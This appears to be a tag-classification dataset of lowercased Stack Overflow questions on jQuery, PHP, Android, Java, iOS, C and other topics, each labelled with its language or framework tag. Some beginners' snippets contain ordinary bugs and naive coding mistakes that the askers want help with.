insert html table row to a specific location with jquery  i have a html table that contains price information. the table is sorted be price ascending.  i m looking to update the table with a new price item. i m pretty sure jquery should be able to solve this issue. here is my starting table:   <pre><code>&lt;table id= pricetable &gt; &lt;tr id= 25607 &gt;     &lt;td&gt;         item 1     &lt;/td&gt;     &lt;td&gt;         $256.07     &lt;/td&gt;     &lt;td&gt;usd&lt;/td&gt; &lt;/tr&gt; &lt;tr id= 30100 &gt;     &lt;td&gt;         item 2     &lt;/td&gt;     &lt;td&gt;         $301.00     &lt;/td&gt;     &lt;td&gt;usd&lt;/td&gt; &lt;/tr&gt; &lt;tr id= 30557 &gt;     &lt;td&gt;         item 3     &lt;/td&gt;     &lt;td&gt;         $305.57     &lt;/td&gt;     &lt;td&gt;usd&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre>   i need to insert a new row.   <pre><code>&lt;tr id= 29000 &gt;         &lt;td&gt;             item 5         &lt;/td&gt;         &lt;td&gt;             $290.00         &lt;/td&gt;         &lt;td&gt;usd&lt;/td&gt;     &lt;/tr&gt; </code></pre>   this row needs to be inserted between the  with id 25607 and id 30100.    i m thinking that there should be a way to use the id of the tr s (which are the prices with only numbers). possibly sort the ids and figure out where the new item should be inserted.,jquery
date not showing up when user submits form  so i have a form that users fill out and it adds to a database. everything works except for the date. the date shows up as 0000-00-00. currently  i m using a datepicker  but the date wasn t showing up even when the user had to type it in...so that shouldn t be the issue.   <pre><code>&lt;form name= add  id= add  method= post  action= programadd.php &gt;   &lt;p&gt;program name:      &lt;input name= program  type= text  id= program  /&gt; &lt;/p&gt;   &lt;p&gt;air date      &lt;input name= airdate  type= text  id= airdate  /&gt; &lt;/p&gt;   &lt;p&gt;description      &lt;input name= description  type= text  id= description  s /&gt; &lt;/p&gt; &lt;p&gt;production     &lt;input name= production  type= text  id= production  /&gt; &lt;/p&gt; &lt;p&gt;promotions     &lt;input name= promotion  type= text  id= promotion   /&gt; &lt;/p&gt; &lt;p&gt;community     &lt;input name= community  type= text  id= community  /&gt; &lt;/p&gt; &lt;p&gt;web     &lt;input name= web  type= text  id= web   /&gt; &lt;/p&gt;   &lt;p&gt;     &lt;input type= submit  name= submit  value= submit  /&gt; </code></pre>   and here s the code that adds it to the database:   <pre><code>&lt; php require_once( connect-db.php ); $program = $_post[ program ]; $airdate = $_post[ airdate ]; $description =  $_post[ description ]; $production = $_post[ production ]; $promotion = $_post[ promotion ]; $community = $_post[ community ]; $web = $_post[ web ];   if (mysql_query ( insert into calendar(program  airdate  description  production  community  promotion  web) values      ( $program    $airdate    $description   $production    $promotion    $community    $web ) )) { echo  program successfully added to the database &lt;br /&gt; ;   } else {     die(mysql_error()); }     require_once( db_connx_close.php );  &gt; </code></pre>   one other question  how do i get the date to display as month/date/year  instead of the reverse,php
how can i detect which buttoncolumn user clicked when both button are commandname= select  from code behind   i have 2 select <code>button</code> controls in a <code>gridview</code> like this   <pre><code>&lt;asp:datagrid style= z-index: 0  id= datagrid1  runat= server  width= 936px        horizontalalign= justify  cellpadding= 5  autogeneratecolumns= false   allowcustompaging= true  allowsorting= true &gt;  &lt;asp:buttoncolumn text= button 1  commandname= select &gt; &lt;headerstyle width= 5% &gt;&lt;/headerstyle&gt; &lt;/asp:buttoncolumn&gt;  &lt;asp:buttoncolumn text= button 2  commandname= select &gt; &lt;headerstyle width= 5% &gt;&lt;/headerstyle&gt; &lt;/asp:buttoncolumn&gt;  &lt;/asp:datagrid&gt; </code></pre>   in code behind in <code>datagrid1_selectedindexchanged</code> how can i detect which button user has clicked   <pre><code>private void datagrid1_selectedindexchanged(object sender  system.eventargs e) {     if(//user click button 1) {}     else // user clicked button 2 {} } </code></pre>   thank for your answer,asp.net
android crash  activity has been destroyed   i m facing some crashes in my application with the following stacktrace:   <pre><code>fatal exception: java.lang.illegalstateexception: activity has been destroyed    at android.support.v4.app.fragmentmanagerimpl.enqueueaction(fragmentmanager.java:1560)    at android.support.v4.app.backstackrecord.commitinternal(backstackrecord.java:696)    at android.support.v4.app.backstackrecord.commitallowingstateloss(backstackrecord.java:667)    at ....activities.myactivity.replacecontentfragment(myactivity.java:293) </code></pre>   this only happens for activities where i load content asynchronously from web and the replace the according fragment. i don t understand how the activity can be gone as the user cannot change fragments/activities while loading. i guess it must have to do with leaving/starting the app while loading (although i may be wrong about this).    my activities do have <code>launchmode = singletask</code>  maybe that s related as well.    the crashes appear on android 6.0.1  but maybe that s due to the fact that the users mostly have that version...,android
solution to implement category in java <blockquote> you want to create a program for the management of a telephone book. for each person are provided for the following personal information:  <pre> surname name title e-mail address (can not contain spaces and must contain the @ symbol) company position </pre>  for every person you can store the following telephone numbers (one for each category) <pre> home office mobile phone. </pre>  you can also store a list of other phone numbers. for each of the other numbers  you must store over to the phone number a description of the number.  </blockquote>   here it is a homework i have to make for this evening in java. my issue is how i can implement the various category: home office ecc...which is the best solution to implement those category  maybe an enum     here it is my implementation:   <pre><code>import java.util.*;  public class persona {  private string name; private string surname; private string title; private string mail_addr; private string company private string position; private phone homephone; private phone officephone; private phone mobilephone; private collection&lt;phone&gt; otherphoneslist  public persona(string n string s string t string m string c string p phone hp phone of phone mp collection&lt;phone&gt; otherphones) {     name=n;     surname=s;     title=t;     mail_addr=m;     company=c;     position=p;     homephone=hp;     officephone=of;     mobilephone=mp;     otherphoneslist=new arraylist&lt;phone&gt;(otherphones); }  public string getname() {     return name; }  public string getsurname() {     return surname; }  public string gettitle() {     return title; }  public string getmail() {     return mail_addr; }  public string getcompany() {     return company; }  public string getposition() {     return position; } }   public class phone {  private string  phone; private string description;  public phone(string phone string description) {     this.phone=phone;     this.description=description; }  public string getphone() {     return phone; }  public string getdescription() {     return description; }   } </code></pre>,java
how can i make a directive call a function each time an input attribute changes   i have the following in my html:   <pre><code>&lt;markdown abc= {{ q.qv.text }} &gt;&lt;/markdown&gt; </code></pre>   and this directive:   <pre><code>app.directive( markdown   function () {     var converter = new showdown.converter();     return {         restrict:  e           link: function (scope  element  attrs) {             var htmltext = converter.makehtml(attrs.abc);             element.html(htmltext);         }     } }); </code></pre>   when the page appears i make an http call to get data  the directive works  get the <strong>last</strong> value of the q.qv.text and displays it. after this the http call returns and populates q.qv.text.     but by that time the <strong>old</strong> value of q.qv.text is already displayed.     how can i make it so that this directive reacts to changes in q.qv.text and calls the converter.makehtml to process the new value,angularjs
rounded corner uilabel not visible (xcode 4.5.2)  i am new to ios development  try to create top rounded corner label by following link <a href= https://stackoverflow.com/questions/9034328/how-do-i-round-only-the-top-two-corners-of-a-uilabel >how do i round only the top two corners of a uilabel </a> but after applying the mask  the whole label cannot be seen  any clue  here is my code.    <pre><code>@synthesize title; - (void)viewdidload {      [super viewdidload];     title.layer.bordercolor=[[uicolor bluecolor]cgcolor];     title.layer.borderwidth=2;     uibezierpath *maskpath;     maskpath = [uibezierpath bezierpathwithroundedrect:title.bounds byroundingcorners:(uirectcornertopleft | uirectcornertopright) cornerradii:cgsizemake(10.0f  10.0f)];     cashapelayer *masklayer = [cashapelayer layer];     masklayer.frame=title.bounds;     masklayer.path = maskpath.cgpath;     title.layer.mask = masklayer; } </code></pre>   <strong>edited</strong>    tried the suggestion to create the label in program  the layout become    <a href= https://docs.google.com/file/d/0b60xg2zcejoqetbewg92n0nodfu/edit usp=sharing  rel= nofollow noreferrer >https://docs.google.com/file/d/0b60xg2zcejoqetbewg92n0nodfu/edit usp=sharing</a> the corner disappear and i still want to set the mask the  title  labal     <strong>edited</strong> finally give up  for others benefit i wrap the label in uiview   map the uiview to a class (i.e. myview.m)  and put the same code in method  - (void)drawrect:(cgrect)rect{}  in  myview.m .  the display showed as what i want!.,ios
invalid code signing entitlements for frameworks - error itms-90046  ever since i enabled <code>use frameworks!</code> in my podfile  i received the following error for all of the pod frameworks. this occurs when i try to submit the app to the app store for testflight distribution.   <pre><code>error itms-90046:  invalid code signing entitlements.  your application bundle s signature contains code signing entitlements that are not supported on ios.  specifically  value  team_id.com.app.app  for key  application-identifier  in  payload/app.app/frameworks/somelib.framework/somelib  is not supported.  this value should be a string starting with your teamid  followed by a dot  .   followed by the bundle identifier.  </code></pre>   i added the following post_install settings in my podfile since pods should not be code signed.   <pre><code>post_install do |installer|   installer.pods_project.targets.each do |target|     target.build_configurations.each do |config|       config.build_settings[ expanded_code_sign_identity ] =          config.build_settings[ code_signing_required ] =  no        config.build_settings[ code_signing_allowed ] =  no      end   end end </code></pre>   any ideas on how to fix this,ios
i want to collect the current time of a video  i found a way to extract a frame from a video  using cv2. but what i also want to achieve is: (press pause -while the video is playing- so the frame is captured and <strong>the current time of the video is taken</strong>  so i can make a comment or whatever) my code for extracting the frame    <pre><code>import cv2  vidcap = cv2.videocapture( d:/final.mp4 ) vidcap.set(cv2.cap_prop_pos_msec 25505)      # just cue to 20 sec. position success image = vidcap.read() if success:     cv2.imwrite( frame22sec.jpg   image)     # save frame as jpeg file     cv2.imshow( 20sec  image)     cv2.waitkey() </code></pre>   i failed in my research (8 hours)  please direct me to a proper method i am using python34,python
how to restrict the name field to just a few names in html  <pre><code>first name:&lt;br&gt; &lt;input type= text  name= firstname  value= first name  pattern= [catherine] &gt; &lt;br&gt; </code></pre>   i want the above code to allow only catherine to be entered into the field but not sure where i am going wrong.,html
what is the number that it shows when i print out the **this** pointer in java   this program     <pre><code>public class helloworld{     public void testfunc(){         system.out.println( class =  +this);     }      public static void main(string[] args){         helloworld hw = new helloworld();         system.out.println( hello  world );         hw.testfunc();     } }   </code></pre>   gives me this output:     <pre><code>hello  world class = helloworld@7c6768 </code></pre>   what does <code>@7c6768</code> after helloworld in the second line mean,java
can we change the pitch in flite engine for iphone  i am using flite engine to generate sound n iphone everything is fine now is it possible to change the pitch of sound lets say i want to put my sound  ... can i do that,iphone
is using while for this ok  <pre><code>        while(player.closemenu(menutype))         {         } </code></pre>   <code>player.closemenu(menutype)</code> will close one menu of the chosen type  or return false if there are none left of that type.       is it ok to use an empty loop like this to close all the menus of a given type,c#
zip up alternating elements  given the following:   <pre><code>list = [( [     conrad clifton  )  ( [     rippa  )] </code></pre>   how would i get the list in the form   <pre><code>[( conrad clifton    rippa )] </code></pre>   something similar to:   <pre><code>new_list = [] for first  second in list:     new_list.append(second) </code></pre>   and then convert the list into a tuple. is there a way to do this with a list comprehension,python
uncheck radio button if already checked   i have a <code>radiogroup</code> with 6 radio buttons inside it.     is there a way to uncheck the radio buttons if the user click on an already checked radio button      i mean is there any way to clear check the whole radio group or do not store  the  value if user clicks on an already checked <code>radio button</code>     i know there exist clearcheck() and setchecked(false)  but i don t know how and where to use them because setoncheckchanged listener only runs when the check state changes. it does not run when you click on an already checked radio button. i think i should use setonclicklistener for radiogroup but i don t know how to find which radiobutton is checked,android
computing the scalar product of two vectors in c++  i am trying to write a program with a function <code>double_product(vector&lt;double&gt; a  vector&lt;double&gt; b)</code> that computes the scalar product of two vectors. the scalar product is   <pre><code>$a_{0}b_{0}+a_{1}b_{1}+...+a_{n-1}b_{n-1}$. </code></pre>   here is what i have. it is a mess  but i am trying!   <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt;  using namespace std;  class scalar_product {     public:     scalar_product(vector&lt;double&gt; a  vector&lt;double&gt; b); }; double scalar_product(vector&lt;double&gt; a  vector&lt;double&gt; b) {     double product = 0;     for (int i = 0; i &lt;= a.size()-1; i++)         for (int i = 0; i &lt;= b.size()-1; i++)             product = product + (a[i])*(b[i]);     return product; }  int main() {     cout &lt;&lt; product &lt;&lt; endl;     return 0; } </code></pre>,c++
what mysql data type for radio buttons   i m making a form with radio buttons  (see <a href= http://jsfiddle.net/mjmitche/3c6mc/  rel= nofollow >http://jsfiddle.net/mjmitche/3c6mc/</a>) and users are submitting data mostly through radio buttons. what  type  will the values for the radio buttons have to be/should they be in the mysql table       the fields advocacy  drafting  interview etc will all be either  pass  or  fail  on the webform  so what do i do in the database    <pre><code>create table `shoutbox`(       `id` int(5) not null auto_increment        `date` timestamp not null default current_timestamp        `instructor` varchar(25) not null         `secretmessage` varchar(255) not null default          `advocacy`     not null       `drafting`     not null       `interview`     `letter`     `solicitor`     `barrister`     primary key (`id`)   ); </code></pre>   <strong>boolean</strong>    if i use a boolean  do i set the values for pass and fail to 1 and 0     <pre><code>    &lt;tr&gt;            &lt;td&gt;&lt;label&gt;interview&lt;/label&gt;&lt;/td&gt;           &lt;td&gt;&lt;input type= radio  name= interview  value= 1  /&gt; pass&lt;/td&gt;         &lt;td&gt;&lt;input type= radio  name= interview  value= 0  /&gt; fail&lt;/td&gt;       &lt;/tr&gt; </code></pre>   with this mysql     <pre><code>    create table `shoutbox`(      `interview` boolean not null   </code></pre>   <strong>tinyint</strong>    if i use a tinyint  do i also set the value of pass and fail to 1 and 0     <pre><code>             &lt;tr&gt;                    &lt;td&gt;&lt;label&gt;interview&lt;/label&gt;&lt;/td&gt;                   &lt;td&gt;&lt;input type= radio  name= interview  value= 1  /&gt; pass&lt;/td&gt;                 &lt;td&gt;&lt;input type= radio  name= interview  value= 0  /&gt; fail&lt;/td&gt;               &lt;/tr&gt;       create table `shoutbox`(      `interview` tinyint not null   </code></pre>   <strong>enum</strong>    if i use enum  do i set the value to  pass  and  fail  and then use the same names in the database with enum           <pre><code> &lt;td&gt;&lt;label&gt;interview&lt;/label&gt;&lt;/td&gt;     &lt;td&gt;&lt;input type= radio  name= interview  value= pass  /&gt; pass&lt;/td&gt;  &lt;td&gt;&lt;input type= radio  name= interview  value= fail  /&gt; fail&lt;/td&gt;   &lt;/tr&gt; </code></pre>   mysql   <pre><code>            create table `shoutbox`(              `interview` enum( pass    fail ) not null   </code></pre>,mysql
how to find pathnames matching a pattern using php  i m looking for files in a directory. my directory pathname pattern looks like this:    <ul> <li> test_1.jpg </li> <li> test_2.jpg </li> <li> test_3.jpg </li> <li> test_4.jpg </li> <li> twpl_1.jpg </li> <li> twpl_2.jpg </li> <li> twpl_3.jpg </li> <li> twpl_4.jpg </li> </ul>   so if i have an url parameter with localhost:8000/covers <strong>customer=twpl</strong>. i m getting the first two jpg s and this is working. the problem is that the url parameter is case sensitive. if i try to write the url paramater with lower case characters (... <strong>customer=twpl</strong>) i m getting a notice :   <blockquote>    notice: undefined offset: 0        notice: undefined offset: 1  </blockquote>  <pre><code>&lt; php         if(isset($_get[ customer ])) {             $customer = $_get[ customer ];             $dirs = glob( cover/ .$customer. *.jpg );             $alldata = glob( cover/*.jpg );             $killext = array( cover/   _1   _2   _3   _4   .jpg );             $new_array = str_replace($killext      $alldata);             $arraylowercase = array_map( strtolower   $new_array);              // die(var_dump($dirs));              if(array_search(strtolower($customer)  $arraylowercase) !== false){                 for($i=0; $i &lt; 2; $i++) {                     echo                       &lt;div class= cover  data-page-number= 0 &gt;                            &lt;img class= front-modal  src=  .strtolower($dirs[$i]).  /&gt;                        &lt;/div&gt; ;                 }             }            }      &gt; </code></pre>   i think this causes the problem <code>$dirs = glob( cover/ .$customer. *.jpg );</code> how can i search in this glob function in a case insensitive way...,php
a valid signing identity matching this profile could not be found in your keychain  i am able to test my app on my device using the development profile/certficates...    in the same way  i have created distribution profile/certicates for my app....    but when i try to upload my app to itunes   it says  application failed codesign verification     also in the organizer  it says  a valid signing identity matching this profile could not be found in your keychain     i have tried everything that is listed here by other users...but not sure what the issue is...please help me.,iphone
how to show dialog on the below of current selected edittext  i would like to show dialog on the below of selected edittext. i have a list of edittext. when i click one of those edit text  the dialog will be shown below of this edit text. i would like to try in the picture. is that possible in android     <a href= http://i.stack.imgur.com/tbs45.png  rel= nofollow >i would like to try like this. i am sorry for my raw picture.</a>    thanks.,android
detect changes of a select inside ng-repeat  i m new in angularjs and i ve some problems to detetect changes in my first select inside a ng-repeat. i want to detect changes to update the second select using a function in my controller.   <pre><code>    &lt;tr ng-repeat= detaildemande in vm.demande.details track by $index &gt;     &lt;td&gt;&lt;select id= field_type  name= type  ng-model= detaildemande.type  ng-options= typemateriel as typemateriel.nom for typemateriel in vm.types | orderby: nom  track by typemateriel.id  &gt;                         &lt;/select&gt;&lt;/td&gt;  &lt;td&gt;&lt;select  id= field_article  name= article  ng-model= detaildemande.article  ng-options= article as article.nom for article in vm.articles | orderby: nom  track by article.id &gt;                         &lt;option value=  &gt;&lt;/option&gt;                     &lt;/select&gt;&lt;/td&gt;     &lt;/tr&gt; </code></pre>   please help  thanks,angularjs
application.userappdataregistry and version number  *or:  where the <em>%#%¤/ am i supposed to store my settings  </em>    why is the product version number included in the application.userappdataregistry registry key  i think it s really annoying.    doesn t this just encourage developers to stick with version number 1.0.0 forever  since changing the version number will cause the user to loose all settings (unless extra effort is made)     if i strip away the version number  it will of course work  better  (the way i see it)  but the framework still creates the registry key with the version number.    what am i overseeing,.net
objective c compilation with gcc 4.6.2  i am trying to learn objective c on windows. my program compiles with warnings    my code is    <pre><code>#include &lt;objc/object.h&gt;  @interface greeter:object {   /* this is left empty on purpose:    ** normally instance variables would be declared here     ** but these are not used in our example.    */ }  - (void)greet;  @end  #include &lt;stdio.h&gt;  @implementation greeter  - (void)greet {     printf( hello  world!\n ); }  @end  #include &lt;stdlib.h&gt;  int main(void) {     id mygreeter;     mygreeter=[[greeter alloc] init];     [mygreeter greet];     [mygreeter release];     return exit_success; } </code></pre>   i compile my program on gnustep using the following command   <pre><code> gcc -o greeter greeter.m -i /gnustep/system/library/headers -l /gnustep/system/libra  /libraries -lobjc -lgnustep-base -fconstant-string-class=nsconstantstring </code></pre>   i get the following warnings on compilation   <pre><code>:  greeter  may not respond to  +alloc  [enabled by default] : (messages without a matching method signature [enabled by default] : will be assumed to return  id  and accept [enabled by default] :  ...  as arguments.) [enabled by default] : no  -init  method found [enabled by default] : no  -release  method found [enabled by default] </code></pre>   and so when i run my executable the object does not get instantiated.    i am using gcc from mingw where gcc version is 4.6.2    --update---    the program runs fine when i extend from nsobject instead of object    --update 2 ----    my object.h looks like   <pre><code>#include &lt;objc/runtime.h&gt;  @interface object {     class isa; } @end </code></pre>   --update 3 ----    i have modified my code as follows. it compiles fine  but i am not sure if this is the right way to go about things   <pre><code>@interface greeter {   /* this is left empty on purpose:    ** normally instance variables would be declared here     ** but these are not used in our example.    */ }  - (void)greet;  + (id)alloc; - (id)init; - release;  @end  #include &lt;stdio.h&gt;  @implementation greeter  - (void)greet {     printf( hello  world!\n ); }  + (id)alloc   {     printf( object created );     return self;   }  - (id)init   {     printf( object instantiated );     return self;   }  - release {}  @end  #include &lt;stdlib.h&gt;  int main(void) {     id mygreeter;     mygreeter=[[greeter alloc] init];     [mygreeter greet];     [mygreeter release];     return exit_success; } </code></pre>,objective-c
does system.net connectionmanagement only apply to web traffic   i can t find any clear answer on this.  the msdn documentation does not specify what types of connections it limits  but all of the examples show http traffic.    <a href= https://msdn.microsoft.com/en-us/library/fb6y0fyc%28v=vs.110%29.aspx f=255&amp;mspperror=-2147217396  rel= nofollow >https://msdn.microsoft.com/en-us/library/fb6y0fyc%28v=vs.110%29.aspx f=255&amp;mspperror=-2147217396</a>    it seems to imply if i use a wildcard  *   it applies to all connections.  does that include  e.g. sql server,.net
how to echo `$var` on this code when load page aaa.php   how to echo <code>$var</code> on this code when load page aaa.php      i test this code but not echo <code>555</code>    aaa.php   <pre><code>&lt; php   include( bbb.php );   $number =  iii ;   test($number);  &gt; </code></pre>   bbb.php   <pre><code>&lt; php  function test($numeric)  {     if($numeric !=   )     {         $x =  555 ;         return $x;     }  }  $var = test($numeric); echo $var;   &gt; </code></pre>,php
what does !! mean in objective-c syntax   i found some code similar to the following:   <pre><code>bool hasvalue_:1;  - (bool) hasvalue {     return !!hasvalue_; }  - (void) sethasvalue:(bool) value {     hasvalue_ = !!value; } </code></pre>   i m wondering why the double exclamation points are necessary   are we not already passing bool to the method and returning bool   <strong>is bool really a typedef for an int </strong>    thanks!    <strong>edit</strong><br> thanks for all of the responses thus far.  i understand that using !! with other data types effectively performs some typecasting to a boolean result.  however  in the example above  i m strictly working with bool already.    <strong>edit</strong><br> if i m working with a bool already  why is it necessary to normalize it to a 0 for false and 1 for true   doesn t a bool guarantee that it is false for 0 and true for everything else,objective-c
error: too many redirects  i m using <code>devise</code> and trying the next following:   <pre><code>class applicationcontroller &lt; actioncontroller::base    protect_from_forgery    before_filter :is_worker     def is_worker      if user_signed_in          @email = current_user.email         if @email &amp;&amp; worker.find_by_email(@email).nil            redirect_to  /tasksadmins          else            redirect_to  /workers          end      else          redirect_to  /users/sign_in       end    end end </code></pre>   when i try to enter the site: <code>localhost:3000/tasksadmins</code>  i got:   <pre><code>oops! it was not possible to show this website  the website at http://localhost:3000/tasksadmins seems to be unavailable. the precise error was:  too many redirects  it could be temporarily switched off or moved to a new address. don t forget to check that your internet connection is working correctly. </code></pre>   how can i fix it please,ruby-on-rails
single thread executor with a cached thread  i am looking to perform a particular set of operations with one thread only. however  i cannot get executors.newsinglethreadexecutor to work with a cached thread from a map.    <pre><code>import org.junit.test;  import java.util.hashmap; import java.util.map; import java.util.concurrent.callable; import java.util.concurrent.executorservice; import java.util.concurrent.executors; import java.util.concurrent.threadfactory;  public class threadtest {     private final callable&lt;boolean&gt; task = new callable() {         @override         public boolean call() {             system.out.println( ran );             return boolean.true;         }     };      //this prints the callable output  ran      @test     public void testvanilla() throws interruptedexception {         executorservice service = executors.newsinglethreadexecutor();         service.submit(task);         thread.sleep(10);     }      //this does not print the callable output  ran      @test     public void testcached() throws interruptedexception {         map&lt;string  thread&gt; map = new hashmap&lt;&gt;();         thread thread = new thread( worker );         thread.setdaemon(false);         map.put( uniq   thread);         executorservice service = executors.newsinglethreadexecutor(new threadfactory() {             @override             public thread newthread(runnable r) {                 return map.get( worker );             }         });          service.submit(task);         thread.sleep(10);     } } </code></pre>   is there something obviously wrong  i m wondering why the executor did not work in case #2,java
query runs forever oracle  am trying to update the isdeleted column in one table when a record is not in the other user table .  my problem is the query l have written runs forever. how best can l write the query below.   <pre><code>update tblg2o_register a set a. isdeleted  =  1   where  a. userid  not in (select k. userid  from tblg2o_user k) </code></pre>,sql
why creating an instance without reference is enough in the server of asynchat   i am reading the post (<a href= http://pymotw.com/2/asynchat/#module-asynchat  rel= nofollow >http://pymotw.com/2/asynchat/#module-asynchat</a>) on how  to use module asynchat. here is the code for server   <pre><code>import asyncore import logging import socket  from asynchat_echo_handler import echohandler  class echoserver(asyncore.dispatcher):        receives connections and establishes handlers for each client.              def __init__(self  address):         asyncore.dispatcher.__init__(self)         self.create_socket(socket.af_inet  socket.sock_stream)         self.bind(address)         self.address = self.socket.getsockname()         self.listen(1)         return      def handle_accept(self):         # called when a client connects to our socket         client_info = self.accept()         echohandler(sock=client_info[0])         # we only want to deal with one client at a time          # so close as soon as we set up the handler.         # normally you would not do this and the server         # would run forever or until it received instructions         # to stop.         self.handle_close()         return      def handle_close(self):         self.close() </code></pre>   why  echohandler(sock=client_info[0])  is enough  the object created does not have a name. how to call the method defined in the object of echohandler,python
c list incorrect checksum for object being freed  i am trying to write a c struct for a resizing array and am getting the error:    <pre><code>a.out(34254 0x7fffa17b7340) malloc: *** error for object  0x7fdd39c02908: incorrect checksum for freed object - object was  probably modified after being freed. *** set a breakpoint in malloc_error_break to debug [1]    34254 abort      ./a.out </code></pre>   this is the code i currently have:    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdbool.h&gt; #include &lt;stdlib.h&gt; #include &lt;math.h&gt;  typedef struct list {     int length;     int *vals; // this should be generic somehow     int curr_inserted;     int max_allowed;  } list;   list *initialize(int val) {     list *curr;      curr = malloc(5 * sizeof(int));     if (curr == null) {         printf( memory allocation error\n );         exit(1);     } else {         curr-&gt;length = 1;          curr-&gt;vals = malloc(10 * sizeof(int));         curr-&gt;vals[0] = val;          curr-&gt;curr_inserted = 1;          curr-&gt;max_allowed = 10;      }     return curr;  } void add(list *x  int val) {     if (x-&gt;curr_inserted == x-&gt;max_allowed) {         int* bigger_arr = realloc(x-&gt;vals  (2 * x-&gt;max_allowed));         x-&gt;vals = bigger_arr;         x-&gt;max_allowed *= 2;     }     x-&gt;vals[x-&gt;curr_inserted] = val;      x-&gt;length++;     x-&gt;curr_inserted++; } </code></pre>   and i am initialzing and checking the values like this:    <pre><code>int main() {     list *x = initialize(10);     for (int i = 0; i &lt; 100; i++) {         add(x i);      }     for (int i =0; i &lt; x-&gt;length; i++) {         printf( val %d is %d\n  i x-&gt;vals[i]);     }     free(x);     return 0;  } </code></pre>   i believe the error is in the add method where i attempt to resize  but i can not quite figure out how to approach this error.,c
calling method with delay in main thread  hello guys i am in need.. please help me out. below is the thread i run in my app which is called every .30delay.    <pre><code>dispatch_async(dispatch_get_global_queue(dispatch_queue_priority_default  0)  ^{     notification = [[nsnotificationcenter alloc] init];     notificationtimer = [nstimer scheduledtimerwithtimeinterval:.30 target:self selector:@selector(notificationtimerfired:) userinfo:nil repeats:yes];     [[nsrunloop currentrunloop] run];  }); </code></pre>   what i want is in method  notificationtimerfired  i am calling one more method and that is to be called say for 5sec interval.. how can i do that.. i tried to adding following code but at the 1st time it called for specified delay but later it calls continually with dispatch_async method is called. please reply me i am badly in need   <pre><code> [nstimer scheduledtimerwithtimeinterval:.30 target:self selector:@selector(notificationtimerfired:) userinfo:nil repeats:yes]; </code></pre>,ios
sql - where clause null  i have the following in my where clause   <pre><code>    where st.state =  @st </code></pre>   in this case @st is null. if st.state is also null this will not return true. how do i do my where clause in this case     i was thinking of    <pre><code>    where st.state =  @st and @st is null  </code></pre>   but not sure if that will buy me much.,sql
computing sum of numeric column in c# .net <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/550187/how-to-calculate-sum-of-a-datatables-column-in-linq-to-dataset >how to calculate sum of a datatable&#39;s column in linq (to dataset) </a>    </blockquote>     in my data_grid_view  i have one numeric column named amount and i want to display total of this column in one text box  can anyone tell what will be the code for it in c# .net,c#
.net-linq the use of expression<t>  can you explain the terms expression tree... expression in linq,.net
why a constant pointer of type character as a function   i m learning c++ and i ve came across this and i don t understand this small thing. why is the getname() function a pointer of type character and why is it constant    <pre><code>class derived: public base { public:     derived(int nvalue)         : base(nvalue)     {     }      const char* getname() { return  derived ; }     int getvaluedoubled() { return m_nvalue * 2; } }; </code></pre>,c++
line after headline (css)  how can i create a line like this  (check comments for screenshot)    i already tried to make a new div after the h1  and then styled it with   <pre><code>     margin-left: 70px;      border-top: solid 2px #ffffff;      width: 46.4%;      margin-top: -27px;      position: absolute; </code></pre>   but then the line is not long enough...    how is the smartest way to make these lines  so they are the same lenght as the div  they are place in. and without making the mobile website too wide,css
position in file of a particular value  i have a c binary file with 512<sup>3</sup> values in the form of a 3-dimensional cube. i need to access the position in the cube with the highest value  which is the density. once i have the position of the highest value  i need to create a smaller 3d cube about this position with values that are obviously smaller than 512 (the dimension of the cube). <code>start</code> represents the position at one corner of the smaller cube. <code>p</code> is the binary file obviously.   <pre><code>fseek(p 0 seek_end); lsize = ftell(p); rewind(p);  dim = pow(lsize/sizeof(float) 1.0/3.0); printf( file size: %lu bytes  grid size: %d \n   lsize (int)dim);  max = 0; counter = 0; index = 0; while(fread(&amp;density sizeof(float) 1 p) !feof(p) &amp;&amp; !ferror(p)) {   if(density &gt; max) max = density index = counter;   counter += 1; }  sub = 256; start = index - (pow(dim 2)+dim+1)*(sub/2-1); printf( 3d coordinates of highest density: %lu %lu %lu  dimension of cube: %d\n  index % 512;(index / 512) % 512;index / (512 * 512) (int)dim);  printf( the maximum density is: %e with index: %lu \n   max index);   rewind(p); fseek(p start*sizeof(float) seek_set); fseek(q start*sizeof(float) seek_set); fseek(r start*sizeof(float) seek_set); fseek(s start*sizeof(float) seek_set); fseek(t start*sizeof(float) seek_set);  u = fopen( results_dens.dat    w ); if (u == null) { printf( unable to open output results file! ); exit(1); }  for (ibox=0;ibox&lt;nbox;ibox++){   for (k=0;k&lt;nz[ibox];k++){     fseek(p (start+k*dim*dim)*sizeof(float) seek_set);     fseek(q (start+k*dim*dim)*sizeof(float) seek_set);     fseek(r (start+k*dim*dim)*sizeof(float) seek_set);     fseek(s (start+k*dim*dim)*sizeof(float) seek_set);     fseek(t (start+k*dim*dim)*sizeof(float) seek_set);     for (j=0;j&lt;ny[ibox];j++){       fseek(p (start+j*dim+k*dim*dim)*sizeof(float) seek_set);       fseek(q (start+j*dim+k*dim*dim)*sizeof(float) seek_set);       fseek(r (start+j*dim+k*dim*dim)*sizeof(float) seek_set);       fseek(s (start+j*dim+k*dim*dim)*sizeof(float) seek_set);       fseek(t (start+j*dim+k*dim*dim)*sizeof(float) seek_set);        for (i=0;i&lt;nx[ibox];i++){ </code></pre>   i am aware that the above code runs without any errors. however  a lot rides on the value of <code>index</code> above. i am unsure of how positions are defined in c. i am aware that these are memory locations but by doing some rough calculations  the value of index that i derive seems to be close to the edge of the box and not the centre.     512<sup>3</sup> = 134217728. the value of <code>index</code> is 66978048  130816 positions from the middle position value of 67108864. but  130816 is approximately 512*256 meaning that if the middle position of the grid is at the edge of the box  then so is <code>index</code> above.,c
